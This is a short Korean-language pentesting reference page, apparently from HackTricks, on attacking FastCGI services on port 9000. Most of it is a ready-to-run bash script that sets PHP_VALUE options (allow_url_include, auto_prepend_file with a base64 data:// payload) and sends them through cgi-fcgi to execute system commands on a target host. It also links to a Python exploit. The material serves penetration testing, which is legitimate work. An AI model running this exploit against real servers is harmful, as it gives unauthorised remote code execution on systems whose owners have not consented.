hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md

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# 기본 정보

**FastCGI**가 무엇인지 배우고 싶다면 다음 페이지를 확인하세요:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}

기본적으로 **FastCGI**는 **포트** **9000**에서 실행되며 nmap에 의해 인식되지 않습니다. **보통** FastCGI는 **localhost**에서만 수신 대기합니다.

# RCE

FastCGI가 임의의 코드를 실행하도록 만드는 것은 매우 쉽습니다:
```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done
```
또는 다음 파이썬 스크립트를 사용할 수도 있습니다: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

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